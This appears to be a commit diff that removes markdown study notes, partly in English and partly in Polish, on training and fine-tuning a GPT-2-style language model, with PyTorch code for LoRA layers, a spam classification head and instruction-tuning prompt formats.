plt.show()
|
||||
|
||||
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
|
||||
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
|
||||
```
|
||||
|
||||
### Save the model
|
||||
|
||||
It's possible to save the model + optimizer if you want to continue training later:
|
||||
|
||||
```python
|
||||
# Save the model and the optimizer for later training
|
||||
torch.save({
|
||||
"model_state_dict": model.state_dict(),
|
||||
"optimizer_state_dict": optimizer.state_dict(),
|
||||
},
|
||||
"/tmp/model_and_optimizer.pth"
|
||||
)
|
||||
# Note that this model with the optimizer occupied close to 2GB
|
||||
|
||||
# Restore model and optimizer for training
|
||||
checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device)
|
||||
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.load_state_dict(checkpoint["model_state_dict"])
|
||||
optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
|
||||
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
|
||||
model.train(); # Put in training mode
|
||||
```
|
||||
|
||||
Or just the model if you are planing just on using it:
|
||||
|
||||
```python
|
||||
# Save the model
|
||||
torch.save(model.state_dict(), "model.pth")
|
||||
|
||||
# Load it
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
|
||||
model.load_state_dict(torch.load("model.pth", map_location=device))
|
||||
|
||||
model.eval() # Put in eval mode
|
||||
```
|
||||
|
||||
## Loading GPT2 weights
|
||||
|
||||
There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then:
|
||||
|
||||
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you"
|
||||
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
@ -1,61 +0,0 @@
|
||||
# 7.0. Ulepszenia LoRA w dostrajaniu
|
||||
|
||||
## Ulepszenia LoRA
|
||||
|
||||
> [!TIP]
|
||||
> Użycie **LoRA znacznie zmniejsza obliczenia** potrzebne do **dostrajania** już wytrenowanych modeli.
|
||||
|
||||
LoRA umożliwia efektywne dostrajanie **dużych modeli** poprzez zmianę tylko **małej części** modelu. Zmniejsza liczbę parametrów, które musisz wytrenować, oszczędzając **pamięć** i **zasoby obliczeniowe**. Dzieje się tak, ponieważ:
|
||||
|
||||
1. **Zmniejsza liczbę parametrów do wytrenowania**: Zamiast aktualizować całą macierz wag w modelu, LoRA **dzieli** macierz wag na dwie mniejsze macierze (nazywane **A** i **B**). To sprawia, że trening jest **szybszy** i wymaga **mniej pamięci**, ponieważ mniej parametrów musi być aktualizowanych.
|
||||
|
||||
1. Dzieje się tak, ponieważ zamiast obliczać pełną aktualizację wag warstwy (macierzy), przybliża ją do iloczynu 2 mniejszych macierzy, co redukuje aktualizację do obliczenia:\
|
||||
|
||||
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Zachowuje oryginalne wagi modelu bez zmian**: LoRA pozwala na zachowanie oryginalnych wag modelu, a jedynie aktualizuje **nowe małe macierze** (A i B). To jest pomocne, ponieważ oznacza, że oryginalna wiedza modelu jest zachowana, a ty tylko dostosowujesz to, co konieczne.
|
||||
3. **Efektywne dostrajanie specyficzne dla zadania**: Kiedy chcesz dostosować model do **nowego zadania**, możesz po prostu wytrenować **małe macierze LoRA** (A i B), pozostawiając resztę modelu w niezmienionej formie. To jest **znacznie bardziej efektywne** niż ponowne trenowanie całego modelu.
|
||||
4. **Efektywność przechowywania**: Po dostrojeniu, zamiast zapisywać **cały nowy model** dla każdego zadania, musisz tylko przechowywać **macierze LoRA**, które są bardzo małe w porównaniu do całego modelu. To ułatwia dostosowanie modelu do wielu zadań bez użycia zbyt dużej ilości pamięci.
|
||||
|
||||
Aby zaimplementować LoraLayers zamiast liniowych podczas dostrajania, zaproponowano tutaj ten kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
import math
|
||||
|
||||
# Create the LoRA layer with the 2 matrices and the alpha
|
||||
class LoRALayer(torch.nn.Module):
|
||||
def __init__(self, in_dim, out_dim, rank, alpha):
|
||||
super().__init__()
|
||||
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
|
||||
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
|
||||
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
|
||||
self.alpha = alpha
|
||||
|
||||
def forward(self, x):
|
||||
x = self.alpha * (x @ self.A @ self.B)
|
||||
return x
|
||||
|
||||
# Combine it with the linear layer
|
||||
class LinearWithLoRA(torch.nn.Module):
|
||||
def __init__(self, linear, rank, alpha):
|
||||
super().__init__()
|
||||
self.linear = linear
|
||||
self.lora = LoRALayer(
|
||||
linear.in_features, linear.out_features, rank, alpha
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.linear(x) + self.lora(x)
|
||||
|
||||
# Replace linear layers with LoRA ones
|
||||
def replace_linear_with_lora(model, rank, alpha):
|
||||
for name, module in model.named_children():
|
||||
if isinstance(module, torch.nn.Linear):
|
||||
# Replace the Linear layer with LinearWithLoRA
|
||||
setattr(model, name, LinearWithLoRA(module, rank, alpha))
|
||||
else:
|
||||
# Recursively apply the same function to child modules
|
||||
replace_linear_with_lora(module, rank, alpha)
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,117 +0,0 @@
|
||||
# 7.1. Fine-Tuning for Classification
|
||||
|
||||
## What is
|
||||
|
||||
Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch.
|
||||
|
||||
> [!NOTE]
|
||||
> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform.
|
||||
|
||||
> [!TIP]
|
||||
> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not).
|
||||
|
||||
## Preparing the data set
|
||||
|
||||
### Data set size
|
||||
|
||||
Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
|
||||
|
||||
This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.
|
||||
|
||||
Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**.
|
||||
|
||||
- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation.
|
||||
- This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one.
|
||||
- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications.
|
||||
|
||||
### Entries length
|
||||
|
||||
As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.
|
||||
|
||||
### Initialize the model
|
||||
|
||||
Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it.
|
||||
|
||||
## Classification head
|
||||
|
||||
In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).
|
||||
|
||||
```python
|
||||
# This code modified the final layer with a Linear one with 2 outs
|
||||
num_classes = 2
|
||||
model.out_head = torch.nn.Linear(
|
||||
|
||||
in_features=BASE_CONFIG["emb_dim"],
|
||||
|
||||
out_features=num_classes
|
||||
)
|
||||
```
|
||||
|
||||
## Parameters to tune
|
||||
|
||||
In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.
|
||||
|
||||
```python
|
||||
# This code makes all the parameters of the model unrtainable
|
||||
for param in model.parameters():
|
||||
param.requires_grad = False
|
||||
|
||||
# Allow to fine tune the last layer in the transformer block
|
||||
for param in model.trf_blocks[-1].parameters():
|
||||
param.requires_grad = True
|
||||
|
||||
# Allow to fine tune the final layer norm
|
||||
for param in model.final_norm.parameters():
|
||||
|
||||
param.requires_grad = True
|
||||
```
|
||||
|
||||
## Entries to use for training
|
||||
|
||||
In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language.
|
||||
|
||||
In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.
|
||||
|
||||
This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:
|
||||
|
||||
```python
|
||||
def calc_accuracy_loader(data_loader, model, device, num_batches=None):
|
||||
model.eval()
|
||||
correct_predictions, num_examples = 0, 0
|
||||
|
||||
if num_batches is None:
|
||||
num_batches = len(data_loader)
|
||||
else:
|
||||
num_batches = min(num_batches, len(data_loader))
|
||||
for i, (input_batch, target_batch) in enumerate(data_loader):
|
||||
if i < num_batches:
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
|
||||
with torch.no_grad():
|
||||
logits = model(input_batch)[:, -1, :] # Logits of last output token
|
||||
predicted_labels = torch.argmax(logits, dim=-1)
|
||||
|
||||
num_examples += predicted_labels.shape[0]
|
||||
correct_predictions += (predicted_labels == target_batch).sum().item()
|
||||
else:
|
||||
break
|
||||
return correct_predictions / num_examples
|
||||
|
||||
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
logits = model(input_batch)[:, -1, :] # Logits of last output token
|
||||
loss = torch.nn.functional.cross_entropy(logits, target_batch)
|
||||
return loss
|
||||
```
|
||||
|
||||
Note how for each batch we are only interested in the **logits of the last token predicted**.
|
||||
|
||||
## Complete GPT2 fine-tune classification code
|
||||
|
||||
You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
@ -1,100 +0,0 @@
|
||||
# 7.2. Dostosowywanie do przestrzegania instrukcji
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej sekcji jest pokazanie, jak **dostosować już wstępnie wytrenowany model do przestrzegania instrukcji**, a nie tylko generowania tekstu, na przykład, odpowiadając na zadania jako chatbot.
|
||||
|
||||
## Zbiór danych
|
||||
|
||||
Aby dostosować LLM do przestrzegania instrukcji, potrzebny jest zbiór danych z instrukcjami i odpowiedziami do dostosowania LLM. Istnieją różne formaty do trenowania LLM w celu przestrzegania instrukcji, na przykład:
|
||||
|
||||
- Przykład stylu promptu Apply Alpaca:
|
||||
```csharp
|
||||
Below is an instruction that describes a task. Write a response that appropriately completes the request.
|
||||
|
||||
### Instruction:
|
||||
Calculate the area of a circle with a radius of 5 units.
|
||||
|
||||
### Response:
|
||||
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
|
||||
|
||||
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
|
||||
```
|
||||
- Przykład stylu podpowiedzi Phi-3:
|
||||
```vbnet
|
||||
<|User|>
|
||||
Can you explain what gravity is in simple terms?
|
||||
|
||||
<|Assistant|>
|
||||
Absolutely! Gravity is a force that pulls objects toward each other.
|
||||
```
|
||||
Szkolenie LLM z tego rodzaju zbiorów danych zamiast tylko surowego tekstu pomaga LLM zrozumieć, że musi udzielać konkretnych odpowiedzi na zadawane pytania.
|
||||
|
||||
Dlatego jedną z pierwszych rzeczy do zrobienia z zestawem danych, który zawiera prośby i odpowiedzi, jest sformatowanie tych danych w pożądanym formacie promptu, na przykład:
|
||||
```python
|
||||
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
|
||||
def format_input(entry):
|
||||
instruction_text = (
|
||||
f"Below is an instruction that describes a task. "
|
||||
f"Write a response that appropriately completes the request."
|
||||
f"\n\n### Instruction:\n{entry['instruction']}"
|
||||
)
|
||||
|
||||
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
|
||||
|
||||
return instruction_text + input_text
|
||||
|
||||
model_input = format_input(data[50])
|
||||
|
||||
desired_response = f"\n\n### Response:\n{data[50]['output']}"
|
||||
|
||||
print(model_input + desired_response)
|
||||
```
|
||||
Następnie, jak zawsze, należy podzielić zbiór danych na zestawy do treningu, walidacji i testowania.
|
||||
|
||||
## Batching & Data Loaders
|
||||
|
||||
Następnie należy zgrupować wszystkie dane wejściowe i oczekiwane wyjścia do treningu. W tym celu należy:
|
||||
|
||||
- Tokenizować teksty
|
||||
- Wypełnić wszystkie próbki do tej samej długości (zwykle długość będzie tak duża, jak długość kontekstu używanego do wstępnego trenowania LLM)
|
||||
- Utworzyć oczekiwane tokeny, przesuwając wejście o 1 w niestandardowej funkcji łączenia
|
||||
- Zastąpić niektóre tokeny wypełnienia -100, aby wykluczyć je z utraty treningowej: Po pierwszym tokenie `endoftext` zastąp wszystkie inne tokeny `endoftext` -100 (ponieważ użycie `cross_entropy(...,ignore_index=-100)` oznacza, że zignoruje cele z -100)
|
||||
- \[Opcjonalnie\] Maskować również wszystkie tokeny należące do pytania za pomocą -100, aby LLM uczył się tylko, jak generować odpowiedź. W stylu Apply Alpaca oznacza to zamaskowanie wszystkiego do `### Response:`
|
||||
|
||||
Gdy to zostanie utworzone, czas na stworzenie loaderów danych dla każdego zbioru danych (treningowego, walidacyjnego i testowego).
|
||||
|
||||
## Load pre-trained LLM & Fine tune & Loss Checking
|
||||
|
||||
Należy załadować wstępnie wytrenowany LLM, aby go dostroić. To już było omawiane na innych stronach. Następnie można użyć wcześniej używanej funkcji treningowej do dostrojenia LLM.
|
||||
|
||||
Podczas treningu można również zobaczyć, jak zmienia się strata treningowa i walidacyjna w trakcie epok, aby sprawdzić, czy strata maleje i czy występuje nadmierne dopasowanie.\
|
||||
Pamiętaj, że nadmierne dopasowanie występuje, gdy strata treningowa maleje, ale strata walidacyjna nie maleje lub nawet rośnie. Aby tego uniknąć, najprostszym rozwiązaniem jest zatrzymanie treningu w epoce, w której to zachowanie się zaczyna.
|
||||
|
||||
## Response Quality
|
||||
|
||||
Ponieważ nie jest to dostrajanie klasyfikacji, w którym można bardziej ufać zmianom straty, ważne jest również sprawdzenie jakości odpowiedzi w zbiorze testowym. Dlatego zaleca się zebranie wygenerowanych odpowiedzi ze wszystkich zbiorów testowych i **ręczne sprawdzenie ich jakości**, aby zobaczyć, czy są błędne odpowiedzi (zauważ, że LLM może poprawnie stworzyć format i składnię zdania odpowiedzi, ale dać całkowicie błędną odpowiedź. Zmiana straty nie odzwierciedli tego zachowania).\
|
||||
Zauważ, że możliwe jest również przeprowadzenie tej recenzji, przekazując wygenerowane odpowiedzi i oczekiwane odpowiedzi do **innych LLM i prosząc je o ocenę odpowiedzi**.
|
||||
|
||||
Inne testy do przeprowadzenia w celu weryfikacji jakości odpowiedzi:
|
||||
|
||||
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU ocenia wiedzę modelu i umiejętności rozwiązywania problemów w 57 przedmiotach, w tym w naukach humanistycznych, naukach ścisłych i innych. Używa pytań wielokrotnego wyboru do oceny zrozumienia na różnych poziomach trudności, od podstawowego do zaawansowanego profesjonalnego.
|
||||
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Ta platforma pozwala użytkownikom porównywać odpowiedzi różnych chatbotów obok siebie. Użytkownicy wprowadzają zapytanie, a wiele chatbotów generuje odpowiedzi, które można bezpośrednio porównać.
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval to zautomatyzowany framework oceny, w którym zaawansowany LLM, taki jak GPT-4, ocenia odpowiedzi innych modeli na różne zapytania.
|
||||
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE to zbiór dziewięciu zadań z zakresu rozumienia języka naturalnego, w tym analizy sentymentu, implikacji tekstowej i odpowiadania na pytania.
|
||||
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Na bazie GLUE, SuperGLUE zawiera bardziej wymagające zadania zaprojektowane tak, aby były trudne dla obecnych modeli.
|
||||
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench to duży benchmark z ponad 200 zadaniami, które testują umiejętności modelu w obszarach takich jak rozumowanie, tłumaczenie i odpowiadanie na pytania.
|
||||
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM zapewnia kompleksową ocenę w różnych metrykach, takich jak dokładność, odporność i sprawiedliwość.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Otwarty framework oceny stworzony przez OpenAI, który pozwala na testowanie modeli AI na niestandardowych i standardowych zadaniach.
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Zbiór problemów programistycznych używanych do oceny zdolności generowania kodu przez modele językowe.
|
||||
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD składa się z pytań dotyczących artykułów Wikipedii, w których modele muszą zrozumieć tekst, aby odpowiedzieć poprawnie.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Duży zbiór danych z pytaniami i odpowiedziami trivia, wraz z dokumentami dowodowymi.
|
||||
|
||||
i wiele, wiele więcej
|
||||
|
||||
## Follow instructions fine-tuning code
|
||||
|
||||
Możesz znaleźć przykład kodu do przeprowadzenia tego dostrajania w [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,98 +0,0 @@
|
||||
# LLM Training - Przygotowanie Danych
|
||||
|
||||
**To są moje notatki z bardzo polecanej książki** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **z dodatkowymi informacjami.**
|
||||
|
||||
## Podstawowe Informacje
|
||||
|
||||
Powinieneś zacząć od przeczytania tego posta, aby poznać podstawowe pojęcia, które powinieneś znać:
|
||||
|
||||
{{#ref}}
|
||||
0.-basic-llm-concepts.md
|
||||
{{#endref}}
|
||||
|
||||
## 1. Tokenizacja
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej początkowej fazy jest bardzo proste: **Podzielić dane wejściowe na tokeny (id) w sposób, który ma sens**.
|
||||
|
||||
{{#ref}}
|
||||
1.-tokenizing.md
|
||||
{{#endref}}
|
||||
|
||||
## 2. Próbkowanie Danych
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej drugiej fazy jest bardzo proste: **Próbkować dane wejściowe i przygotować je do fazy treningowej, zazwyczaj dzieląc zbiór danych na zdania o określonej długości i generując również oczekiwaną odpowiedź.**
|
||||
|
||||
{{#ref}}
|
||||
2.-data-sampling.md
|
||||
{{#endref}}
|
||||
|
||||
## 3. Osadzenia Tokenów
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej trzeciej fazy jest bardzo proste: **Przypisać każdemu z poprzednich tokenów w słowniku wektor o pożądanych wymiarach do trenowania modelu.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\
|
||||
> Zauważ, że początkowo pozycja każdego słowa w przestrzeni jest po prostu "losowo" inicjowana, a te pozycje są parametrami, które można trenować (będą poprawiane podczas treningu).
|
||||
>
|
||||
> Ponadto, podczas osadzania tokenów **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało różne reprezentacje (znaczenie).
|
||||
|
||||
{{#ref}}
|
||||
3.-token-embeddings.md
|
||||
{{#endref}}
|
||||
|
||||
## 4. Mechanizmy Uwagowe
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej czwartej fazy jest bardzo proste: **Zastosować pewne mechanizmy uwagi**. Będą to liczne **powtarzające się warstwy**, które będą **uchwytywać relację słowa w słowniku z jego sąsiadami w aktualnym zdaniu używanym do trenowania LLM**.\
|
||||
> Do tego celu używa się wielu warstw, więc wiele parametrów do trenowania będzie uchwytywać te informacje.
|
||||
|
||||
{{#ref}}
|
||||
4.-attention-mechanisms.md
|
||||
{{#endref}}
|
||||
|
||||
## 5. Architektura LLM
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej piątej fazy jest bardzo proste: **Rozwinąć architekturę całego LLM**. Połączyć wszystko, zastosować wszystkie warstwy i stworzyć wszystkie funkcje do generowania tekstu lub przekształcania tekstu na ID i odwrotnie.
|
||||
>
|
||||
> Ta architektura będzie używana zarówno do treningu, jak i przewidywania tekstu po jego wytrenowaniu.
|
||||
|
||||
{{#ref}}
|
||||
5.-llm-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## 6. Wstępne trenowanie i ładowanie modeli
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej szóstej fazy jest bardzo proste: **Wytrenować model od podstaw**. W tym celu zostanie użyta wcześniejsza architektura LLM z pewnymi pętlami przechodzącymi przez zbiory danych, używając zdefiniowanych funkcji straty i optymalizatora do trenowania wszystkich parametrów modelu.
|
||||
|
||||
{{#ref}}
|
||||
6.-pre-training-and-loading-models.md
|
||||
{{#endref}}
|
||||
|
||||
## 7.0. Ulepszenia LoRA w dostrajaniu
|
||||
|
||||
> [!TIP]
|
||||
> Użycie **LoRA znacznie redukuje obliczenia** potrzebne do **dostrajania** już wytrenowanych modeli.
|
||||
|
||||
{{#ref}}
|
||||
7.0.-lora-improvements-in-fine-tuning.md
|
||||
{{#endref}}
|
||||
|
||||
## 7.1. Dostrajanie do klasyfikacji
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej sekcji jest pokazanie, jak dostroić już wytrenowany model, aby zamiast generować nowy tekst, LLM podałby **prawdopodobieństwa, że dany tekst zostanie zaklasyfikowany w każdej z podanych kategorii** (na przykład, czy tekst jest spamem, czy nie).
|
||||
|
||||
{{#ref}}
|
||||
7.1.-fine-tuning-for-classification.md
|
||||
{{#endref}}
|
||||
|
||||
## 7.2. Dostrajanie do wykonywania poleceń
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej sekcji jest pokazanie, jak **dostroić już wytrenowany model do wykonywania poleceń** zamiast tylko generować tekst, na przykład, odpowiadając na zadania jako chatbot.
|
||||
|
||||
{{#ref}}
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
Loading…
x
Reference in New Issue
Block a user